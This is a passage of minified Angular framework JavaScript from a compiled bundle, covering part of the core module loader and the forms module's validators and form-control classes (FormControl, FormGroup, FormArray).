t.destroy()}),this._onMicrotaskEmptySubscription.unsubscribe()}},{key:"viewCount",get:function(){return this._views.length}}]),t}();return t.\u0275fac=function(e){return new(e||t)(Vn(kl),Vn(sa),Vn(Wi),Vn(Su),Vn(el))},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}();function Yl(t,e){var n=t.indexOf(e);n>-1&&t.splice(n,1)}var ql=function t(){_(this,t)},zl=function t(){_(this,t)},Zl={factoryPathPrefix:"",factoryPathSuffix:".ngfactory"},Wl=function(){var t=function(){function t(e,n){_(this,t),this._compiler=e,this._config=n||Zl}return y(t,[{key:"load",value:function(t){return this.loadAndCompile(t)}},{key:"loadAndCompile",value:function(t){var e=this,n=o(t.split("#"),2),i=n[0],r=n[1];return void 0===r&&(r="default"),s(12027)(i).then(function(t){return t[r]}).then(function(t){return Jl(t,i,r)}).then(function(t){return e._compiler.compileModuleAsync(t)})}},{key:"loadFactory",value:function(t){var e=o(t.split("#"),2),n=e[0],i=e[1],r="NgFactory";return void 0===i&&(i="default",r=""),s(12027)(this._config.factoryPathPrefix+n+this._config.factoryPathSuffix).then(function(t){return t[i+r]}).then(function(t){return Jl(t,n,i)})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(Vn(yl),Vn(zl,8))},t.\u0275prov=N({token:t,factory:t.\u0275fac}),t}();function Jl(t,e,n){if(!t)throw new Error("Cannot find '".concat(n,"' in '").concat(e,"'"));return t}var Ql=function(t){return null},Kl=Bl(null,"core",[{provide:al,useValue:"unknown"},{provide:Hl,deps:[sa]},{provide:Il,deps:[]},{provide:ul,deps:[]}]),Xl=[{provide:Gl,useClass:Gl,deps:[kl,sa,Wi,Su,el]},{provide:bc,deps:[kl],useFactory:function(t){var e=[];return t.onStable.subscribe(function(){for(;e.length;)e.pop()()}),function(t){e.push(t)}}},{provide:el,useClass:el,deps:[[new Kn,tl]]},{provide:yl,useClass:yl,deps:[]},il,{provide:Wu,useFactory:function(){return ic},deps:[]},{provide:Qu,useFactory:function(){return rc},deps:[]},{provide:cl,useFactory:function(t){return Ms(t=t||"undefined"!=typeof $localize&&$localize.locale||Ps),t},deps:[[new Qn(cl),new Kn,new Xn]]},{provide:ll,useValue:"USD"}],$l=function(){var t=function t(e){_(this,t)};return t.\u0275fac=function(e){return new(e||t)(Vn(Gl))},t.\u0275mod=pt({type:t}),t.\u0275inj=D({providers:Xl}),t}()},1707:function(t,e,n){"use strict";n.d(e,{Zs:function(){return Ht},gN:function(){return Q},Fj:function(){return b},qu:function(){return Kt},NI:function(){return wt},oH:function(){return Pt},u:function(){return Mt},sg:function(){return Dt},u5:function(){return Jt},nD:function(){return qt},wO:function(){return Gt},Cf:function(){return C},JU:function(){return v},a5:function(){return K},JJ:function(){return $},JL:function(){return tt},F:function(){return At},c5:function(){return Zt},UX:function(){return Qt},Q7:function(){return jt},kI:function(){return E},_Y:function(){return Tt}});var o,a=n(2316),s=n(54364),u=n(30400),c=n(42720),h=n(33927),d=((o=function(){function t(e,n){_(this,t),this._renderer=e,this._elementRef=n,this.onChange=function(t){},this.onTouched=function(){}}return y(t,[{key:"setProperty",value:function(t,e){this._renderer.setProperty(this._elementRef.nativeElement,t,e)}},{key:"registerOnTouched",value:function(t){this.onTouched=t}},{key:"registerOnChange",value:function(t){this.onChange=t}},{key:"setDisabledState",value:function(t){this.setProperty("disabled",t)}}]),t}()).\u0275fac=function(t){return new(t||o)(a.Y36(a.Qsj),a.Y36(a.SBq))},o.\u0275dir=a.lG2({type:o}),o),p=function(){var t,e=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return n}(d);return e.\u0275fac=function(n){return(t||(t=a.n5z(e)))(n||e)},e.\u0275dir=a.lG2({type:e,features:[a.qOj]}),e}(),v=new a.OlP("NgValueAccessor"),m={provide:v,useExisting:(0,a.Gpc)(function(){return b}),multi:!0},g=new a.OlP("CompositionEventMode"),b=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,t,i))._compositionMode=r,o._composing=!1,null==o._compositionMode&&(o._compositionMode=!function(){var t=(0,s.q)()?(0,s.q)().getUserAgent():"";return/android (\d+)/.test(t.toLowerCase())}()),o}return y(n,[{key:"writeValue",value:function(t){this.setProperty("value",null==t?"":t)}},{key:"_handleInput",value:function(t){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(t)}},{key:"_compositionStart",value:function(){this._composing=!0}},{key:"_compositionEnd",value:function(t){this._composing=!1,this._compositionMode&&this.onChange(t)}}]),n}(d);return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.Qsj),a.Y36(a.SBq),a.Y36(g,8))},t.\u0275dir=a.lG2({type:t,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(t,e){1&t&&a.NdJ("input",function(t){return e._handleInput(t.target.value)})("blur",function(){return e.onTouched()})("compositionstart",function(){return e._compositionStart()})("compositionend",function(t){return e._compositionEnd(t.target.value)})},features:[a._Bn([m]),a.qOj]}),t}();function k(t){return null==t||0===t.length}function w(t){return null!=t&&"number"==typeof t.length}var C=new a.OlP("NgValidators"),x=new a.OlP("NgAsyncValidators"),S=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/,E=function(){function t(){_(this,t)}return y(t,null,[{key:"min",value:function(t){return e=t,function(t){if(k(t.value)||k(e))return null;var n=parseFloat(t.value);return!isNaN(n)&&n<e?{min:{min:e,actual:t.value}}:null};var e}},{key:"max",value:function(t){return e=t,function(t){if(k(t.value)||k(e))return null;var n=parseFloat(t.value);return!isNaN(n)&&n>e?{max:{max:e,actual:t.value}}:null};var e}},{key:"required",value:function(t){return A(t)}},{key:"requiredTrue",value:function(t){return T(t)}},{key:"email",value:function(t){return k((e=t).value)||S.test(e.value)?null:{email:!0};var e}},{key:"minLength",value:function(t){return I(t)}},{key:"maxLength",value:function(t){return O(t)}},{key:"pattern",value:function(t){return R(t)}},{key:"nullValidator",value:function(t){return null}},{key:"compose",value:function(t){return U(t)}},{key:"composeAsync",value:function(t){return j(t)}}]),t}();function A(t){return k(t.value)?{required:!0}:null}function T(t){return!0===t.value?null:{required:!0}}function I(t){return function(e){return k(e.value)||!w(e.value)?null:e.value.length<t?{minlength:{requiredLength:t,actualLength:e.value.length}}:null}}function O(t){return function(e){return w(e.value)&&e.value.length>t?{maxlength:{requiredLength:t,actualLength:e.value.length}}:null}}function R(t){return t?("string"==typeof t?(n="","^"!==t.charAt(0)&&(n+="^"),n+=t,"$"!==t.charAt(t.length-1)&&(n+="$"),e=new RegExp(n)):(n=t.toString(),e=t),function(t){if(k(t.value))return null;var i=t.value;return e.test(i)?null:{pattern:{requiredPattern:n,actualValue:i}}}):P;var e,n}function P(t){return null}function N(t){return null!=t}function D(t){var e=(0,a.QGY)(t)?(0,u.D)(t):t;return(0,a.CqO)(e),e}function L(t){var e={};return t.forEach(function(t){e=null!=t?Object.assign(Object.assign({},e),t):e}),0===Object.keys(e).length?null:e}function M(t,e){return e.map(function(e){return e(t)})}function F(t){return t.map(function(t){return function(t){return!t.validate}(t)?t:function(e){return t.validate(e)}})}function U(t){if(!t)return null;var e=t.filter(N);return 0==e.length?null:function(t){return L(M(t,e))}}function B(t){return null!=t?U(F(t)):null}function j(t){if(!t)return null;var e=t.filter(N);return 0==e.length?null:function(t){var n=M(t,e).map(D);return(0,c.D)(n).pipe((0,h.U)(L))}}function H(t){return null!=t?j(F(t)):null}function V(t,e){return null===t?[e]:Array.isArray(t)?[].concat(i(t),[e]):[t,e]}function G(t){return t._rawValidators}function Y(t){return t._rawAsyncValidators}function q(t){return t?Array.isArray(t)?t:[t]:[]}function z(t,e){return Array.isArray(t)?t.includes(e):t===e}function Z(t,e){var n=q(e);return q(t).forEach(function(t){z(n,t)||n.push(t)}),n}function W(t,e){return q(e).filter(function(e){return!z(t,e)})}var J=function(){var t=function(){function t(){_(this,t),this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}return y(t,[{key:"value",get:function(){return this.control?this.control.value:null}},{key:"valid",get:function(){return this.control?this.control.valid:null}},{key:"invalid",get:function(){return this.control?this.control.invalid:null}},{key:"pending",get:function(){return this.control?this.control.pending:null}},{key:"disabled",get:function(){return this.control?this.control.disabled:null}},{key:"enabled",get:function(){return this.control?this.control.enabled:null}},{key:"errors",get:function(){return this.control?this.control.errors:null}},{key:"pristine",get:function(){return this.control?this.control.pristine:null}},{key:"dirty",get:function(){return this.control?this.control.dirty:null}},{key:"touched",get:function(){return this.control?this.control.touched:null}},{key:"status",get:function(){return this.control?this.control.status:null}},{key:"untouched",get:function(){return this.control?this.control.untouched:null}},{key:"statusChanges",get:function(){return this.control?this.control.statusChanges:null}},{key:"valueChanges",get:function(){return this.control?this.control.valueChanges:null}},{key:"path",get:function(){return null}},{key:"_setValidators",value:function(t){this._rawValidators=t||[],this._composedValidatorFn=B(this._rawValidators)}},{key:"_setAsyncValidators",value:function(t){this._rawAsyncValidators=t||[],this._composedAsyncValidatorFn=H(this._rawAsyncValidators)}},{key:"validator",get:function(){return this._composedValidatorFn||null}},{key:"asyncValidator",get:function(){return this._composedAsyncValidatorFn||null}},{key:"_registerOnDestroy",value:function(t){this._onDestroyCallbacks.push(t)}},{key:"_invokeOnDestroyCallbacks",value:function(){this._onDestroyCallbacks.forEach(function(t){return t()}),this._onDestroyCallbacks=[]}},{key:"reset",value:function(t){this.control&&this.control.reset(t)}},{key:"hasError",value:function(t,e){return!!this.control&&this.control.hasError(t,e)}},{key:"getError",value:function(t,e){return this.control?this.control.getError(t,e):null}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=a.lG2({type:t}),t}(),Q=function(){var t,e=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"formDirective",get:function(){return null}},{key:"path",get:function(){return null}}]),n}(J);return e.\u0275fac=function(n){return(t||(t=a.n5z(e)))(n||e)},e.\u0275dir=a.lG2({type:e,features:[a.qOj]}),e}(),K=function(t){l(n,t);var e=f(n);function n(){var t;return _(this,n),(t=e.apply(this,arguments))._parent=null,t.name=null,t.valueAccessor=null,t}return n}(J),X=function(){function t(e){_(this,t),this._cd=e}return y(t,[{key:"is",value:function(t){var e,n,i;return"submitted"===t?!!(null===(e=this._cd)||void 0===e?void 0:e.submitted):!!(null===(i=null===(n=this._cd)||void 0===n?void 0:n.control)||void 0===i?void 0:i[t])}}]),t}(),$=function(){var t=function(t){l(n,t);var e=f(n);function n(t){return _(this,n),e.call(this,t)}return n}(X);return t.\u0275fac=function(e){return new(e||t)(a.Y36(K,2))},t.\u0275dir=a.lG2({type:t,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(t,e){2&t&&a.ekj("ng-untouched",e.is("untouched"))("ng-touched",e.is("touched"))("ng-pristine",e.is("pristine"))("ng-dirty",e.is("dirty"))("ng-valid",e.is("valid"))("ng-invalid",e.is("invalid"))("ng-pending",e.is("pending"))},features:[a.qOj]}),t}(),tt=function(){var t=function(t){l(n,t);var e=f(n);function n(t){return _(this,n),e.call(this,t)}return n}(X);return t.\u0275fac=function(e){return new(e||t)(a.Y36(Q,10))},t.\u0275dir=a.lG2({type:t,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(t,e){2&t&&a.ekj("ng-untouched",e.is("untouched"))("ng-touched",e.is("touched"))("ng-pristine",e.is("pristine"))("ng-dirty",e.is("dirty"))("ng-valid",e.is("valid"))("ng-invalid",e.is("invalid"))("ng-pending",e.is("pending"))("ng-submitted",e.is("submitted"))},features:[a.qOj]}),t}();function et(t,e){rt(t,e),e.valueAccessor.writeValue(t.value),function(t,e){e.valueAccessor.registerOnChange(function(n){t._pendingValue=n,t._pendingChange=!0,t._pendingDirty=!0,"change"===t.updateOn&&at(t,e)})}(t,e),function(t,e){var n=function(t,n){e.valueAccessor.writeValue(t),n&&e.viewToModelUpdate(t)};t.registerOnChange(n),e._registerOnDestroy(function(){t._unregisterOnChange(n)})}(t,e),function(t,e){e.valueAccessor.registerOnTouched(function(){t._pendingTouched=!0,"blur"===t.updateOn&&t._pendingChange&&at(t,e),"submit"!==t.updateOn&&t.markAsTouched()})}(t,e),function(t,e){if(e.valueAccessor.setDisabledState){var n=function(t){e.valueAccessor.setDisabledState(t)};t.registerOnDisabledChange(n),e._registerOnDestroy(function(){t._unregisterOnDisabledChange(n)})}}(t,e)}function nt(t,e){var n=function(){};e.valueAccessor&&(e.valueAccessor.registerOnChange(n),e.valueAccessor.registerOnTouched(n)),ot(t,e),t&&(e._invokeOnDestroyCallbacks(),t._registerOnCollectionChange(function(){}))}function it(t,e){t.forEach(function(t){t.registerOnValidatorChange&&t.registerOnValidatorChange(e)})}function rt(t,e){var n=G(t);null!==e.validator?t.setValidators(V(n,e.validator)):"function"==typeof n&&t.setValidators([n]);var i=Y(t);null!==e.asyncValidator?t.setAsyncValidators(V(i,e.asyncValidator)):"function"==typeof i&&t.setAsyncValidators([i]);var r=function(){return t.updateValueAndValidity()};it(e._rawValidators,r),it(e._rawAsyncValidators,r)}function ot(t,e){var n=!1;if(null!==t){if(null!==e.validator){var i=G(t);if(Array.isArray(i)&&i.length>0){var r=i.filter(function(t){return t!==e.validator});r.length!==i.length&&(n=!0,t.setValidators(r))}}if(null!==e.asyncValidator){var o=Y(t);if(Array.isArray(o)&&o.length>0){var a=o.filter(function(t){return t!==e.asyncValidator});a.length!==o.length&&(n=!0,t.setAsyncValidators(a))}}}var s=function(){};return it(e._rawValidators,s),it(e._rawAsyncValidators,s),n}function at(t,e){t._pendingDirty&&t.markAsDirty(),t.setValue(t._pendingValue,{emitModelToViewChange:!1}),e.viewToModelUpdate(t._pendingValue),t._pendingChange=!1}function st(t,e){rt(t,e)}function ut(t,e){if(!t.hasOwnProperty("model"))return!1;var n=t.model;return!!n.isFirstChange()||!Object.is(e,n.currentValue)}function ct(t,e){t._syncPendingControls(),e.forEach(function(t){var e=t.control;"submit"===e.updateOn&&e._pendingChange&&(t.viewToModelUpdate(e._pendingValue),e._pendingChange=!1)})}function lt(t,e){return e?(Array.isArray(e),e.forEach(function(t){t.constructor===b?n=t:function(t){return Object.getPrototypeOf(t.constructor)===p}(t)?i=t:r=t}),r||i||n||null):null;var n,i,r}function ht(t,e){var n=t.indexOf(e);n>-1&&t.splice(n,1)}var ft="VALID",dt="INVALID",pt="PENDING",vt="DISABLED";function mt(t){return(bt(t)?t.validators:t)||null}function gt(t){return Array.isArray(t)?B(t):t||null}function yt(t,e){return(bt(e)?e.asyncValidators:t)||null}function _t(t){return Array.isArray(t)?H(t):t||null}function bt(t){return null!=t&&!Array.isArray(t)&&"object"==typeof t}var kt=function(){function t(e,n){_(this,t),this._hasOwnPendingAsyncValidator=!1,this._onCollectionChange=function(){},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._rawValidators=e,this._rawAsyncValidators=n,this._composedValidatorFn=gt(this._rawValidators),this._composedAsyncValidatorFn=_t(this._rawAsyncValidators)}return y(t,[{key:"validator",get:function(){return this._composedValidatorFn},set:function(t){this._rawValidators=this._composedValidatorFn=t}},{key:"asyncValidator",get:function(){return this._composedAsyncValidatorFn},set:function(t){this._rawAsyncValidators=this._composedAsyncValidatorFn=t}},{key:"parent",get:function(){return this._parent}},{key:"valid",get:function(){return this.status===ft}},{key:"invalid",get:function(){return this.status===dt}},{key:"pending",get:function(){return this.status==pt}},{key:"disabled",get:function(){return this.status===vt}},{key:"enabled",get:function(){return this.status!==vt}},{key:"dirty",get:function(){return!this.pristine}},{key:"untouched",get:function(){return!this.touched}},{key:"updateOn",get:function(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}},{key:"setValidators",value:function(t){this._rawValidators=t,this._composedValidatorFn=gt(t)}},{key:"setAsyncValidators",value:function(t){this._rawAsyncValidators=t,this._composedAsyncValidatorFn=_t(t)}},{key:"addValidators",value:function(t){this.setValidators(Z(t,this._rawValidators))}},{key:"addAsyncValidators",value:function(t){this.setAsyncValidators(Z(t,this._rawAsyncValidators))}},{key:"removeValidators",value:function(t){this.setValidators(W(t,this._rawValidators))}},{key:"removeAsyncValidators",value:function(t){this.setAsyncValidators(W(t,this._rawAsyncValidators))}},{key:"hasValidator",value:function(t){return z(this._rawValidators,t)}},{key:"hasAsyncValidator",value:function(t){return z(this._rawAsyncValidators,t)}},{key:"clearValidators",value:function(){this.validator=null}},{key:"clearAsyncValidators",value:function(){this.asyncValidator=null}},{key:"markAsTouched",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.touched=!0,this._parent&&!t.onlySelf&&this._parent.markAsTouched(t)}},{key:"markAllAsTouched",value:function(){this.markAsTouched({onlySelf:!0}),this._forEachChild(function(t){return t.markAllAsTouched()})}},{key:"markAsUntouched",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.touched=!1,this._pendingTouched=!1,this._forEachChild(function(t){t.markAsUntouched({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}},{key:"markAsDirty",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.pristine=!1,this._parent&&!t.onlySelf&&this._parent.markAsDirty(t)}},{key:"markAsPristine",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.pristine=!0,this._pendingDirty=!1,this._forEachChild(function(t){t.markAsPristine({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}},{key:"markAsPending",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.status=pt,!1!==t.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!t.onlySelf&&this._parent.markAsPending(t)}},{key:"disable",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=this._parentMarkedDirty(t.onlySelf);this.status=vt,this.errors=null,this._forEachChild(function(e){e.disable(Object.assign(Object.assign({},t),{onlySelf:!0}))}),this._updateValue(),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors(Object.assign(Object.assign({},t),{skipPristineCheck:e})),this._onDisabledChange.forEach(function(t){return t(!0)})}},{key:"enable",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=this._parentMarkedDirty(t.onlySelf);this.status=ft,this._forEachChild(function(e){e.enable(Object.assign(Object.assign({},t),{onlySelf:!0}))}),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent}),this._updateAncestors(Object.assign(Object.assign({},t),{skipPristineCheck:e})),this._onDisabledChange.forEach(function(t){return t(!1)})}},{key:"_updateAncestors",value:function(t){this._parent&&!t.onlySelf&&(this._parent.updateValueAndValidity(t),t.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}},{key:"setParent",value:function(t){this._parent=t}},{key:"updateValueAndValidity",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===ft||this.status===pt)&&this._runAsyncValidator(t.emitEvent)),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!t.onlySelf&&this._parent.updateValueAndValidity(t)}},{key:"_updateTreeValidity",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{emitEvent:!0};this._forEachChild(function(e){return e._updateTreeValidity(t)}),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent})}},{key:"_setInitialStatus",value:function(){this.status=this._allControlsDisabled()?vt:ft}},{key:"_runValidator",value:function(){return this.validator?this.validator(this):null}},{key:"_runAsyncValidator",value:function(t){var e=this;if(this.asyncValidator){this.status=pt,this._hasOwnPendingAsyncValidator=!0;var n=D(this.asyncValidator(this));this._asyncValidationSubscription=n.subscribe(function(n){e._hasOwnPendingAsyncValidator=!1,e.setErrors(n,{emitEvent:t})})}}},{key:"_cancelExistingSubscription",value:function(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}},{key:"setErrors",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.errors=t,this._updateControlsErrors(!1!==e.emitEvent)}},{key:"get",value:function(t){return function(t,e,n){if(null==e||(Array.isArray(e)||(e=e.split(".")),Array.isArray(e)&&0===e.length))return null;var i=t;return e.forEach(function(t){i=i instanceof Ct?i.controls.hasOwnProperty(t)?i.controls[t]:null:i instanceof xt&&i.at(t)||null}),i}(this,t)}},{key:"getError",value:function(t,e){var n=e?this.get(e):this;return n&&n.errors?n.errors[t]:null}},{key:"hasError",value:function(t,e){return!!this.getError(t,e)}},{key:"root",get:function(){for(var t=this;t._parent;)t=t._parent;return t}},{key:"_updateControlsErrors",value:function(t){this.status=this._calculateStatus(),t&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(t)}},{key:"_initObservables",value:function(){this.valueChanges=new a.vpe,this.statusChanges=new a.vpe}},{key:"_calculateStatus",value:function(){return this._allControlsDisabled()?vt:this.errors?dt:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(pt)?pt:this._anyControlsHaveStatus(dt)?dt:ft}},{key:"_anyControlsHaveStatus",value:function(t){return this._anyControls(function(e){return e.status===t})}},{key:"_anyControlsDirty",value:function(){return this._anyControls(function(t){return t.dirty})}},{key:"_anyControlsTouched",value:function(){return this._anyControls(function(t){return t.touched})}},{key:"_updatePristine",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.pristine=!this._anyControlsDirty(),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}},{key:"_updateTouched",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.touched=this._anyControlsTouched(),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}},{key:"_isBoxedValue",value:function(t){return"object"==typeof t&&null!==t&&2===Object.keys(t).length&&"value"in t&&"disabled"in t}},{key:"_registerOnCollectionChange",value:function(t){this._onCollectionChange=t}},{key:"_setUpdateStrategy",value:function(t){bt(t)&&null!=t.updateOn&&(this._updateOn=t.updateOn)}},{key:"_parentMarkedDirty",value:function(t){return!t&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}}]),t}(),wt=function(t){l(n,t);var e=f(n);function n(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,r=arguments.length>1?arguments[1]:void 0,o=arguments.length>2?arguments[2]:void 0;return _(this,n),(t=e.call(this,mt(r),yt(o,r)))._onChange=[],t._applyFormState(i),t._setUpdateStrategy(r),t._initObservables(),t.updateValueAndValidity({onlySelf:!0,emitEvent:!!t.asyncValidator}),t}return y(n,[{key:"setValue",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.value=this._pendingValue=t,this._onChange.length&&!1!==n.emitModelToViewChange&&this._onChange.forEach(function(t){return t(e.value,!1!==n.emitViewToModelChange)}),this.updateValueAndValidity(n)}},{key:"patchValue",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.setValue(t,e)}},{key:"reset",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this._applyFormState(t),this.markAsPristine(e),this.markAsUntouched(e),this.setValue(this.value,e),this._pendingChange=!1}},{key:"_updateValue",value:function(){}},{key:"_anyControls",value:function(t){return!1}},{key:"_allControlsDisabled",value:function(){return this.disabled}},{key:"registerOnChange",value:function(t){this._onChange.push(t)}},{key:"_unregisterOnChange",value:function(t){ht(this._onChange,t)}},{key:"registerOnDisabledChange",value:function(t){this._onDisabledChange.push(t)}},{key:"_unregisterOnDisabledChange",value:function(t){ht(this._onDisabledChange,t)}},{key:"_forEachChild",value:function(t){}},{key:"_syncPendingControls",value:function(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}},{key:"_applyFormState",value:function(t){this._isBoxedValue(t)?(this.value=this._pendingValue=t.value,t.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=t}}]),n}(kt),Ct=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,mt(i),yt(r,i))).controls=t,o._initObservables(),o._setUpdateStrategy(i),o._setUpControls(),o.updateValueAndValidity({onlySelf:!0,emitEvent:!!o.asyncValidator}),o}return y(n,[{key:"registerControl",value:function(t,e){return this.controls[t]?this.controls[t]:(this.controls[t]=e,e.setParent(this),e._registerOnCollectionChange(this._onCollectionChange),e)}},{key:"addControl",value:function(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};this.registerControl(t,e),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}},{key:"removeControl",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.controls[t]&&this.controls[t]._registerOnCollectionChange(function(){}),delete this.controls[t],this.updateValueAndValidity({emitEvent:e.emitEvent}),this._onCollectionChange()}},{key:"setControl",value:function(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};this.controls[t]&&this.controls[t]._registerOnCollectionChange(function(){}),delete this.controls[t],e&&this.registerControl(t,e),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}},{key:"contains",value:function(t){return this.controls.hasOwnProperty(t)&&this.controls[t].enabled}},{key:"setValue",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this._checkAllValuesPresent(t),Object.keys(t).forEach(function(i){e._throwIfControlMissing(i),e.controls[i].setValue(t[i],{onlySelf:!0,emitEvent:n.emitEvent})}),this.updateValueAndValidity(n)}},{key:"patchValue",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};null!=t&&(Object.keys(t).forEach(function(i){e.controls[i]&&e.controls[i].patchValue(t[i],{onlySelf:!0,emitEvent:n.emitEvent})}),this.updateValueAndValidity(n))}},{key:"reset",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this._forEachChild(function(n,i){n.reset(t[i],{onlySelf:!0,emitEvent:e.emitEvent})}),this._updatePristine(e),this._updateTouched(e),this.updateValueAndValidity(e)}},{key:"getRawValue",value:function(){return this._reduceChildren({},function(t,e,n){return t[n]=e instanceof wt?e.value:e.getRawValue(),t})}},{key:"_syncPendingControls",value:function(){var t=this._reduceChildren(!1,function(t,e){return!!e._syncPendingControls()||t});return t&&this.updateValueAndValidity({onlySelf:!0}),t}},{key:"_throwIfControlMissing",value:function(t){if(!Object.keys(this.controls).length)throw new Error("\n There are no form controls registered with this group yet. If you're using ngModel,\n you may want to check next tick (e.g. use setTimeout).\n ");if(!this.controls[t])throw new Error("Cannot find form control with name: ".concat(t,"."))}},{key:"_forEachChild",value:function(t){var e=this;Object.keys(this.controls).forEach(function(n){var i=e.controls[n];i&&t(i,n)})}},{key:"_setUpControls",value:function(){var t=this;this._forEachChild(function(e){e.setParent(t),e._registerOnCollectionChange(t._onCollectionChange)})}},{key:"_updateValue",value:function(){this.value=this._reduceValue()}},{key:"_anyControls",value:function(t){for(var e=0,n=Object.keys(this.controls);e<n.length;e++){var i=n[e],r=this.controls[i];if(this.contains(i)&&t(r))return!0}return!1}},{key:"_reduceValue",value:function(){var t=this;return this._reduceChildren({},function(e,n,i){return(n.enabled||t.disabled)&&(e[i]=n.value),e})}},{key:"_reduceChildren",value:function(t,e){var n=t;return this._forEachChild(function(t,i){n=e(n,t,i)}),n}},{key:"_allControlsDisabled",value:function(){for(var t=0,e=Object.keys(this.controls);t<e.length;t++){var n=e[t];if(this.controls[n].enabled)return!1}return Object.keys(this.controls).length>0||this.disabled}},{key:"_checkAllValuesPresent",value:function(t){this._forEachChild(function(e,n){if(void 0===t[n])throw new Error("Must supply a value for form control with name: '".concat(n,"'."))})}}]),n}(kt),xt=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this,mt(i),yt(r,i))).controls=t,o._initObservables(),o._setUpdateStrategy(i),o._setUpControls(),o.updateValueAndValidity({onlySelf:!0,emitEvent:!!o.asyncValidator}),o}return y(n,[{key:"at",value:function(t){return this.controls[t]}},{key:"push",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.controls.push(t),this._registerControl(t),this.updateValueAndValidity({emitEvent:e.emitEvent}),this._onCollectionChange()}},{key:"insert",value:function(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};this.controls.splice(t,0,e),this._registerControl(e),this.updateValueAndValidity({emitEvent:n.emitEvent})}},{key:"removeAt",value:function(t){var e=arguments.length>1&&void 